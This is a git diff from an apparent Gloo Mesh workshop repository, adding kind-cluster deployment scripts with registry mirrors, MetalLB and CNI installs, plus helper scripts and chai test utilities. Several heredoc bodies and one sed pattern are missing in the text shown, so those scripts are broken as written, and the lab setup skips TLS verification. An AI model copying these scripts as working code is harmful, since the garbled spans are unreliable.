--restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/register-domain.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/snapdiff.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/can-resolve.test.js.liquid b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-exec.js b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDaemonSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get ds " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).numberReady || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).desiredNumberScheduled; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + k8sObjectIsPresent: ({ context, namespace, k8sType, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + k8sType + " " + k8sObj + " -o name"; + let cli = chaiExec(command); + + 